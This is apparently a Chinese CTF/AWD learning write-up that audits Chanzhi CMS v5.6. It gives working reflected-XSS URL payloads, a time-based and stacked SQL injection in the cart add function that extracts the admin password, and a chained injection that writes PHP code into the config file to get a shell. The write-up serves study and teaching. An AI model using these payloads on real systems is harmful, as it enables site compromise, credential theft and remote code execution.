终于开始cms审计之路了www
这次是一道bugku的awd的题目,这么碰巧,那么cms审计就从它开始吧
跟着大佬脚印一步一步走,安全道路深远啊555
菜鸡落泪.jpg
这次的cms是蝉知cms v5.6
user-deny 反射型XSS漏洞
在蝉知cms v5.6中,在user
模块的deny()
方法渲染模板文件时,会对用户输入的参数进行渲染,但是没有正确处理,导致可绕过一些过滤,造成反射性xss
该deny方法在/system/module/user/control.php
文件
渲染文件是/template/default/user/deny.html.php
文件
1 | public function deny($module, $method, $refererBeforeDeny = '') |
该方法接受三个参数:$module
, $method
, $refererBeforeDeny
首先我们要了解到,这个cms是支持PATH_INFO2
方式调用的
所谓的pathinfo模式,就是形如这样的url。xxx.com/index.php/c/index/aa/cc,apache在处理这个url的时候会把index.php后面的部分输入到环境变量$_SERVER[‘PATH_INFO’],它等于/c/index/aa/cc
并且在deny方法中是调用了createLink方法
作用可以在/system/framework/base/helper.class.php/
找到解释
$this->createLink(‘blog’, ‘view’, ‘id=17&cat=123’)
第一个参数是模块名称,第二个参数是方法名,第三个参数是参数,使用key1=value1&key2=value2这种方式来进行传参。
如果运行方式为PATH_INFO,这样会生成 blog-view-17-123.html这样的链接。
如果运行方式为GET,则生成?m=blog&f=view&id=17&cat=123&t=html的链接。
也就是说,当我们接收到这三个参数时会构造出这样一个链接user-deny-1-2-3,这三个参数分别赋值为1,2,3
而第一个参数为我们构造的payload
The first payload
1 | http://localhost/index.php/user-deny-%252522%25253E%25253Cscript%25253Ealert%2525281%252529%25253B%25253C%25252fscript%25253E%25253C%252522 |
这是经过了三次urlencode,在传入后也会被三次url解码、拼接,然后渲染在/template/default/user/deny.html.php
包含的/template/common/header.lite.html.php
文件的$mobileURL
来,现在我们来探索一下payload传入后的心路历程
- 传入的URI被浏览器解码一次
=>
1 | %2522%253E%253Cscript%253Ealert%25281%2529%253B%253C%252fscript%253E%253C%2522 |
- 对payload进行了一次
urldecode
并使用strip_tags
进行过滤
因为这时没有完整的html标签存在,所以可以绕过
=>
1 | %22%3E%3Cscript%3Ealert%281%29%3B%3C%2fscript%3E%3C%22 |
createLink
方法返回的链接中包含了payload*parse_str()方法在解析字符串时会进行一次URL解码**
1 | $this->view->mobileURL = helper::createLink('user', 'deny', "module=$module&method=$method&referer=$refererBeforeDeny", '', 'mhtml'); |
然后在/system/framwork/helper.class.php
调用了parse_str()
在parse_str()分组后,因为parse_str()在解析时会进行一次url解码,所以最后就生成了我们的一开始想要打进去的payload
=>
1 | "><script>alert(1);</script><" |
随后调用display方法渲染并输出
The second payload
1 | http://loaclhost/index.php/user-deny-1-2-aHR0cDovL3d3dy5iYWlkdS5jb20nPHNjcmlwdD5hbGVydCgzKTs8L3NjcmlwdD4n.html |
aHR0cDovL3d3dy5iYWlkdS5jb20nPHNjcmlwdD5hbGVydCgzKTs8L3NjcmlwdD4n
这一串是经过base64编码后的结果,原字符串为http://www.baidu.com'<script>alert(3);</script>'
让我们继续深入了解一下它的心路历程
漏洞说到mergeJS()
方法处对js进行了合并,跟进到mergeJS()
方法
另外在渲染完前台模板后会调用
/system/framework/control.class.php
文件里的control
类的mergeCSS()
和mergeJS()
来把Javascript代码放在一起,CSS代码放在一起。
这里的preg_match_all是匹配到script标签,然后将script标签的内容合并,然后插在</body>
上面
在没有执行mergeJS()
前,我们传入的payload在页面上是这样的
1 | <a href='http://www.baidu.com'<script>alert(3);</script>'' class='btn btn-primary'>返回前一页</a> |
这样的里面的js代码是不会被解析执行的,但是在经过mergeJS()
方法后,会将script标签给剥离出来,从而解析并执行
1 | <script>alert(3);</script> |
另外在admin.php页面也有类似的xss用法,且并没有调用mergeJS()
1 | http://loaclhost/admin.php/?m=user&f=deny&module=1&method=2&refererBeforeDeny=aHR0cDovL3d3dy5iYWlkdS5jb20nPj48c2NyaXB0PmFsZXJ0KDMpOzwvc2NyaXB0Pjwn |
管中窥豹,在这个xss中,起到关键作用并不是mergeJS()
,相反,它只是起着个辅助的作用
那么关键在哪呢
有没有发现这两个不同页面的payload都是用着相同的编码——base64
问题就在这
这是在/template/default/user/deny.html.php
的一段代码,我们可以发现,页面会在渲染时经过一次base64编码,而正是这个base64编码,帮助我们绕过了之前的过滤
add函数SQL注入漏洞
蝉知cms在传递参数时不是直接全局防护,而是先调用dao类,即蝉知的数据库连接类,然后通过quote()进行转义
/system/lib/dao/dao.class.php
所以当进行数据库操作时没有调用quote函数,就很有可能存在注入
在/system/module/cart/control.php
页面的add函数
add就是蝉知的添加进购物车函数
$count
是我们可控的,也就是用户输入
我们可以看到,用户登录后,也就是$result = $this->cart->add($product, $count);
然后继续跟进,在/system/module/cart/model.php
可以看到登录后的操作
1 | public function add($productID, $count) |
传入dao类并set("count= count + {$count}")
这里调用了dao类,且set函数内传入了可控参数,但是又没有调用quote函数过滤,这里就很有可能出问题
我们继续跟进set方法
在/system/lib/base/dao/dao.class.php
看到
可以看到直接进入了sql$this->sql
测试一下
1 | http://localhost/index.php/cart-add-1-(select%20sleep(10)) |
成功进行延时操作
开始注入来得到我们想要的信息
但是或者是抱着亡羊补牢的想法
在/system/framework/seo.class.php
对url内容进行了过滤
1 | if(strpos($uri, '_') !== false) $uri = substr($uri, 0, strpos($uri, '_')); |
过滤掉了_
而我们是要在eps_user
表中注出admin的,幸好,这个cms是以PDO的方式连接mysql的
那么我们就可以用到mysql的预处理进行堆叠注入了
1 | set @a:=0x73656C6563742070617373776F72642066726F6D206570735F75736572206C696D697420313B //设置变量a,后面的值是select password from eps_user limit 1;的hex值 |
注出后台账号密码后,就可以在后台getshell了
找到/system/module/upgrade/control.php
跟进execute函数
/system/module/upgrade/model.php
1 | public function execute($fromVersion) |
继续跟进fixDetectDeviceConfig函数
/system/module/upgrade/model.php
第2089行就是从数据库里提取出数据,然后拼接写入文件,这样才导致的getshell
1 | $fixedConfig = '$config->framework->detectDevice[' . "'{$mobileTemplateConfig->lang}'] = "; |
数据库可控了,getshell不就信手拈来了吗
1 | http://loaclhost/index.php/cart-add-1-1;set @a:=0x757064617465206570735f636f6e66696720736574206c616e673d275c275d3d313b706870696e666f28293b232720776865726520606b6579603d276d6f62696c6554656d706c617465273b;prepare s from @a;execute s;#.html |
1 | 0x757064617465206570735f636f6e66696720736574206c616e673d275c275d3d313b706870696e666f28293b232720776865726520606b6579603d276d6f62696c6554656d706c617465273b |
然后从数据库提取数据
1 | http://localhost/admin.php?m=upgrade&f=processSQL post:fromVersion=5_5 |